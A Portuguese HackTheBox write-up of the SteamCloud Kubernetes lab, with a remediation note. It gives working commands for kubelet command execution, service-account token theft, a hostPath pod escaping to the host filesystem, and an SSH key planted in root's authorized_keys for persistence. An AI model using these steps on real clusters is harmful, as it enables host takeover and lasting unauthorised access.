hacktheboxlinuxkubernetsrce

SteamCloud

https://app.hackthebox.com/machines/SteamCloud

Summary

Máquina Linux de dificuldade fácil do HackTheBox que apresenta um cluster Kubernetes (minikube). A exploração começou com a identificação da API Kubernetes na porta 8443, que estava acessível mas exigia autenticação. Através da ferramenta kubeletctl, foi possível enumerar os pods e identificar que o pod nginx permitia execução de comandos (RCE). Com acesso ao container, os tokens de serviço do Kubernetes foram extraídos do diretório /run/secrets/kubernetes.io/serviceaccount. O token concedia permissões para criar pods no namespace default, permitindo a criação de um novo pod com montagem do sistema de arquivos do host (hostPath). Através dessa montagem, as flags foram obtidas e uma chave SSH foi adicionada para acesso persistente ao host.

MITRE Kill Chain

Reconnaissance

A varredura de portas revelou dois serviços principais: SSH (22) e a API Kubernetes (8443) do minikube.

Initial Access

O pod nginx foi identificado como vulnerável a RCE via kubelet. Acesso shell ao container foi obtido.

Credential Access

Os tokens de autenticação Kubernetes foram extraídos do pod comprometido através dos arquivos em /run/secrets/kubernetes.io/serviceaccount.

Lateral Movement

O token extraído permitiu interação com a API Kubernetes para criar novos pods no namespace default.

Privilege Escalation

Um novo pod foi criado com montagem hostPath do sistema de arquivos, permitindo acesso ao sistema host e obtenção das flags.

Reconnaissance

#attack/T1595 #attack/T1046

Host Discovery

A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, é possível confirmar se a máquina alvo está acessível na rede.

No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux geralmente é 64, e o valor observado no ping é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.

attacker> ping -c 1 10.10.11.133
PING 10.10.11.133 (10.10.11.133) 56(84) bytes of data.
64 bytes from 10.10.11.133: icmp_seq=1 ttl=63 time=175 ms

--- 10.10.11.133 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 174.623/174.623/174.623/0.000 ms

Port Scanning

#attack/T1046

Em seguida, uma varredura de portas foi executada no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. A ferramenta rustscan foi utilizada para verificar todas as portas (1-65535) no alvo. A varredura revelou duas portas abertas com serviços relevantes:

22/tcp: SSH (OpenSSH 7.9p1 Debian 10+deb10u2)
8443/tcp: API Kubernetes (minikube)

attacker> rustscan -a 10.10.11.133 -r 1-65535 --ulimit 5000 -- -sCV -n -Pn -oX nmap.xml
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------

PORT     STATE SERVICE       REASON         VERSION
22/tcp   open  ssh           syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu4TNCZjLe74tZ0HyspkMaghndsvuXkZJa4lJBt9arqgkm6u2HI/RRdwbjE14au2u/YF89y23Q55iOGraA+9JjpyTzDPo3kxE/RisYzJaUDmzza+hqEeyTxXkZby9+DAhKm5UXs7M2CMDr3cwOPPQ96u/zUX0gDG3CfYw4fAi2TDGa6jU5KmGzIQz6SQR3Bv6IYLDwzNJ0nHNZ3jxSbFS3SsmTwK749GJLrv62wAf4uUL/Ihynl8cCG5aor6T0Fk44v/9ndfujznBvWaMYVPpf9B49XlD7OhXB5pCK2nPZrdze+ch6yhAM/vYrYA4sNk3IuFG3OCrDkVeUJn5sJKx5
|   256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHVj7iKnl8SWdGz6J4F3kvpZjM1Tim0iHlUnQByS8xJYnfwttLxVwGb+aaGbRhOJu4mq9y4crwFh50rC9mAEHWo=
|   256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHXIZpU9XbtZ2zvx8rFEYTfGp+8JCJx5lSiRNEcqUFG8
8443/tcp open  ssl/https-alt syn-ack ttl 63
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 3b22be78-1387-47dc-b01b-03cd5e4315f6
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: f6d8cd22-80d9-43b3-8aad-2a950c1b865d
|     X-Kubernetes-Pf-Prioritylevel-Uid: a20e4581-a2ea-41ef-8b36-9a62e7434915
|     Date: Sat, 29 Oct 2022 21:07:13 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User \"system:anonymous\" cannot get path \"/nice ports,/Trinity.txt.bak\"","reason":"Forbidden","details":{},"code":403}
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 8852ca91-bc3a-495c-bc8c-c7629c990e19
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: f6d8cd22-80d9-43b3-8aad-2a950c1b865d
|     X-Kubernetes-Pf-Prioritylevel-Uid: a20e4581-a2ea-41ef-8b36-9a62e7434915
|     Date: Sat, 29 Oct 2022 21:07:10 GMT
|     Content-Length: 185
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User \"system:anonymous\" cannot get path \"/\"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Issuer: commonName=minikubeCA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-10-28T21:05:23
| Not valid after:  2025-10-28T21:05:23
| MD5:   475b 27be 973b 2185 209d 8d61 fb65 00f5
| SHA-1: a939 c9ef 50ef 63e5 529e fe19 bf79 f637 9049 974e
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

A porta 8443 revelou ser a API do Kubernetes (minikube), retornando erros de acesso anónimo quando consultada diretamente.

attacker> curl -s -k -X GET "https://10.10.11.133:8443"
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  },
  "status": "Failure",
  "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
  "reason": "Forbidden",
  "details": {

  },
  "code": 403
}

Web Enumeration

#attack/T1593 #attack/T1592

Ao investigar o serviço, descobriu-se que era a API do minikube. Para interagir com ela, a ferramenta kubeletctl foi instalada.

attacker> wget https://github.com/cyberark/kubeletctl/releases/download/v1.8/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl

Pods Enumeration

A ferramenta kubeletctl permite enumerar os pods em execução no cluster Kubernetes através do Kubelet. A enumeração revelou vários pods em execução:

attacker> kubeletctl -s 10.10.11.133 pods
┌────────────────────────────────────────────────────────────────────────────────┐
│                                Pods from Kubelet                               │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│   │ POD                                │ NAMESPACE   │ CONTAINERS              │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ storage-provisioner                │ kube-system │ storage-provisioner     │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ kube-proxy-qk4zw                   │ kube-system │ kube-proxy              │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ coredns-78fcd69978-klsks           │ kube-system │ coredns                 │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ nginx                              │ default     │ nginx                   │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ etcd-steamcloud                    │ kube-system │ etcd                    │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │
│   │                                    │             │                         │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘

O pod nginx está no namespace default, diferentemente dos outros pods que estão no namespace kube-system.

RCE Discovery

A funcionalidade de scan RCE da ferramenta kubeletctl foi utilizada para identificar pods que permitem execução de comandos:

attacker> kubeletctl -s 10.10.11.133 scan rce
┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
│                                   Node with pods vulnerable to RCE                                  │
├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│   │ NODE IP      │ PODS                               │ NAMESPACE   │ CONTAINERS              │ RCE │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.10.11.133 │ storage-provisioner                │ kube-system │ storage-provisioner     │ -   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │              │ kube-proxy-qk4zw                   │ kube-system │ kube-proxy              │ +   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 3 │              │ coredns-78fcd69978-klsks           │ kube-system │ coredns                 │ -   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 4 │              │ nginx                              │ default     │ nginx                   │ +   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 5 │              │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │ -   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 6 │              │ etcd-steamcloud                    │ kube-system │ etcd                    │ -   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 7 │              │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │ -   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 8 │              │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ -   │
└───┴──────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘

Dois pods foram identificados como vulneráveis a RCE: kube-proxy-qk4zw e nginx.

Initial Access

#attack/T1078 #attack/T1610

O pod nginx foi selecionado para exploração. A ferramenta kubeletctl permite executar comandos diretamente no container através da API do Kubelet.

attacker> kubeletctl -s 10.10.11.133 -p nginx -c nginx exec "whoami"
root

O comando retornou root, confirmando que havia acesso ao container como root. Em seguida, uma shell interativa foi obtida:

attacker> kubeletctl -s 10.10.11.133 -p nginx -c nginx exec "bash -i"
root@nginx:/# hostname -I
hostname -I
172.17.0.3

O container estava a executar com o IP 172.17.0.3 dentro da rede do cluster Kubernetes.

Credential Access

#attack/T1552

Após obter acesso ao container nginx, o diretório /run/secrets/kubernetes.io/serviceaccount foi inspecionado. Este diretório contém os tokens e certificados usados pelo Kubernetes para autenticação automática dos pods:

root@nginx:/# ls -la /run/secrets/kubernetes.io/serviceaccount
total 4
drwxrwxrwt 3 root root  140 Oct 29 21:54 .
drwxrwxrwt 3 root root 4096 Oct 29 21:06 ..
lrwxrwxrwx 1 root root   31 Oct 29 21:54 ..2022_10_29_21_54_39.062952751
lrwxrwxrwx 2 root root  100 Oct 29 21:54 ..data -> ..2022_10_29_21_54_39.062952751
lrwxrwxrwx 1 root root   13 Oct 29 21:06 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root   16 Oct 29 21:06 namespace -> ..data/namespace
lrwxrwxrwx 1 root root   12 Oct 29 21:06 token -> ..data/token

Este diretório contém três ficheiros essenciais:

ca.crt: Certificado da Autoridade Certificadora do cluster
namespace: Namespace onde o pod está a executar (default)
token: Token de autenticação JWT do ServiceAccount

Os ficheiros ca.crt e token foram copiados para a máquina atacante para posterior utilização com a ferramenta kubectl.

Credenciais descobertas

ServiceAccount Token: Extraído do pod nginx
CA Certificate: Extraído do pod nginx
Namespace: default

Com estes artefatos, é possível interagir com a API Kubernetes para enumerar e manipular recursos dentro das permissões do ServiceAccount.

Kubernetes Exploitation

#attack/T1200 #attack/T1610

Os ficheiros ca.crt e token extraídos foram utilizados para autenticar junto da API Kubernetes através da ferramenta kubectl.

attacker> kubectl -s https://10.10.11.133:8443 --certificate-authority=ca.crt --token="$(cat token)" get pods
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          82m

Permission Enumeration

O comando auth can-i --list foi utilizado para verificar as permissões do ServiceAccount atual:

attacker> kubectl -s https://10.10.11.133:8443 --certificate-authority=ca.crt --token="$(cat token)" auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
pods                                            []                                    []               [get create list]
                                                 [/.well-known/openid-configuration]   []               [get]
                                                 [/api/*]                              []               [get]
                                                 [/api]                                []               [get]
                                                 [/apis/*]                             []               [get]
                                                 [/apis]                               []               [get]
                                                 [/healthz]                            []               [get]
                                                 [/livez]                              []               [get]
                                                 [/openapi/*]                          []               [get]
                                                 [/openapi]                            []               [get]
                                                 [/openid/v1/jwks]                     []               [get]
                                                 [/readyz]                             []               [get]
                                                 [/version/]                           []               [get]
                                                 [/version]                            []               [get]

A saída revela que o ServiceAccount tem permissões para criar pods no namespace default. Esta é uma capacidade crítica que pode ser abusada para escalação de privilégios.

Finding: Kubernetes RBAC Misconfiguration - Pod Creation Privilege

Affected Asset: Kubernetes Cluster (minikube) - Namespace: default
Severity: High
Vulnerability Type: Kubernetes RBAC Misconfiguration / Privilege Escalation
CVE: N/A

Reproduction Steps:

Identificar pods vulneráveis a RCE: kubeletctl -s <TARGET> scan rce

Executar comando no pod: kubeletctl -s <TARGET> -p <POD> -c <CONTAINER> exec "whoami"

Extrair tokens do diretório: /run/secrets/kubernetes.io/serviceaccount/

Verificar permissões: kubectl auth can-i --list

Criar pod malicioso com montagem hostPath: kubectl apply -f malicious-pod.yaml

Executar shell no novo pod e aceder ao sistema host

Remediation: Restringir permissões de ServiceAccount. Evitar atribuir permissões create a pods sem necessidade. Implementar Network Policies para limitar comunicação entre pods. Não expor tokens de ServiceAccount em pods que não necessitam de acesso à API Kubernetes.

Pod Configuration

A configuração do pod nginx existente foi obtida para servir de base:

attacker> kubectl -s https://10.10.11.133:8443 --certificate-authority=ca.crt --token="$(cat token)" get pod nginx -o yaml | tee brunopod.yaml

O pod foi modificado para incluir uma montagem hostPath que mapeia o sistema de ficheiros do nó (host) para dentro do container:

apiVersion: v1
kind: Pod
metadata:
  name: brunopod
  namespace: default
spec:
  containers:
  - name: brunopod
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /mnt
      name: hostmachine
  volumes:
  - name: hostmachine
    hostPath:
      path: /

Pod Creation

O novo pod foi criado no cluster:

attacker> kubectl -s https://10.10.11.133:8443 --certificate-authority=ca.crt --token="$(cat token)" apply -f brunopod.yaml
pod/brunopod created

A criação foi confirmada enumerando os pods:

attacker> kubeletctl -s 10.10.11.133 pods
┌────────────────────────────────────────────────────────────────────────────────┐
│                                Pods from Kubelet                               │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│   │ POD                                │ NAMESPACE   │ CONTAINERS              │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ etcd-steamcloud                    │ kube-system │ etcd                    │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ storage-provisioner                │ kube-system │ storage-provisioner     │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ kube-proxy-qk4zw                   │ kube-system │ kube-proxy              │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ coredns-78fcd69978-klsks           │ kube-system │ coredns                 │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ nginx                              │ default     │ nginx                   │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 9 │ brunopod                           │ default     │ brunopod                │
│   │                                    │             │                         │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘

Privilege Escalation

#attack/T1068

O pod brunopod foi verificado quanto à capacidade de execução de comandos:

attacker> kubeletctl -s 10.10.11.133 scan rce
┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
│                                   Node with pods vulnerable to RCE                                  │
├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│   │ NODE IP      │ PODS                               │ NAMESPACE   │ CONTAINERS              │ RCE │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.10.11.133 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │ -   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │              │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │ -   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 3 │              │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ -   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │              │ nginx                              │ default     │ nginx                   │ +   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 5 │              │ brunopod                           │ default     │ brunopod                │ +   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 6 │              │ etcd-steamcloud                    │ kube-system │ etcd                    │ -   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │              │ storage-provisioner                │ kube-system │ storage-provisioner     │ -   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │              │ kube-proxy-qk4zw                   │ kube-system │ kube-proxy              │ +   │
│   │              │                                    │             │                         │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 9 │              │ coredns-78fcd69978-klsks           │ kube-system │ coredns                 │ -   │
└───┴──────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘

O pod brunopod permitiu execução de comandos. Através da montagem hostPath (/), foi possível aceder ao sistema de ficheiros do nó (host):

attacker> kubeletctl -s 10.10.11.133 -p brunopod -c brunopod exec "bash -i"
root@brunopod:/# ls /mnt
ls /mnt
bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr
etc   lib             lost+found  proc   srv   var

As flags foram encontradas nos diretórios /home/user e /root do host:

root@brunopod:/mnt/home/user# cat user.txt
cat user.txt
aa5d1e2d35ae461ef8a6289a9d67d5d7

root@brunopod:/mnt/root# cat root.txt
cat root.txt
52344edbf5ad81ebbb3135e3d3e472d0

Flag de utilizador capturada: aa5d1e2d35ae461ef8a6289a9d67d5d7

Persistence

Para obter acesso persistente ao host, uma chave SSH foi adicionada ao diretório .ssh do root:

root@brunopod:/mnt/root# mkdir .ssh
root@brunopod:/mnt/root/.ssh# echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDX4i9GddVxrs6CoiRU5Y6KzmQhbreoLEc3v/ldke/Ld6HLuyuA15DoKtRVXZGlCNgTsP+Ej+oS2g+059bDIBVqb5Dw3QrBYP9qs+1GJgWelPpgrCErEXEVGlS/mVvxOVRmx+hhxPLuNRAMqToS8m66mY6DKfHw2/f/v02WwyjPUV3kxjdPOlpkvFFZsW59QJwsk5H3eXs+Ekz/ZruEKxrKqbaHbkWYoPfCKKCoN+hx+1/67QHo05t41w72XYFxHOIMQDufpIoeov4F5f2bd+TfFx4NJAOVJrJRbID3k8qlmijhMjvuzynbjJolpcR1sSHoIhZBfF0nLM+bA0///YMcWb2KouSzXps69MDUYxuHBxAXjEUWWdrd686sTGtK1CXqh18BWc9uKZ/xzYK0XSAsupABxrG+lT2sqH85mOe5BKWwvsAzhIIRkyaBkvaOuvQ9KzPk4kp8slYuX3EuzEPZPHrP8MSxhJYIAvtNwU+pne59CZHVUAJTCcFTmTnwj2s= root@kali' > authorized_keys

Uma chave SSH foi gerada na máquina atacante:

attacker> ssh-keygen -f key
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in key
Your public key has been saved in key.pub

O acesso SSH ao host foi obtido:

attacker> ssh root@10.10.11.133 -i key 
Linux steamcloud 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jan 10 09:00:00 2022
root@steamcloud:~# hostname -I
10.10.11.133 172.17.0.1 dead:beef::250:56ff:feb9:b5c1

Escalação de privilégios bem-sucedida. Comprometimento total do sistema alcançado.

AnteriorSquashed PróximoTwoMillion

Atualizado há 14 horas

hashtagSummary

hashtagMITRE Kill Chain

hashtagReconnaissance

hashtagInitial Access

hashtagCredential Access

hashtagLateral Movement

hashtagPrivilege Escalation

hashtagReconnaissance

hashtagHost Discovery

hashtagPort Scanning

hashtagWeb Enumeration

hashtagPods Enumeration

hashtagRCE Discovery

hashtagInitial Access

hashtagCredential Access

hashtagCredenciais descobertas

hashtagKubernetes Exploitation

hashtagPermission Enumeration

hashtagFinding: Kubernetes RBAC Misconfiguration - Pod Creation Privilege

hashtagPod Configuration

hashtagPod Creation

hashtagPrivilege Escalation

hashtagPersistence

Summary

MITRE Kill Chain

Reconnaissance

Initial Access

Credential Access

Lateral Movement

Privilege Escalation

Reconnaissance

Host Discovery

Port Scanning

Web Enumeration

Pods Enumeration

RCE Discovery

Initial Access

Credential Access

Credenciais descobertas

Kubernetes Exploitation

Permission Enumeration

Finding: Kubernetes RBAC Misconfiguration - Pod Creation Privilege

Pod Configuration

Pod Creation

Privilege Escalation

Persistence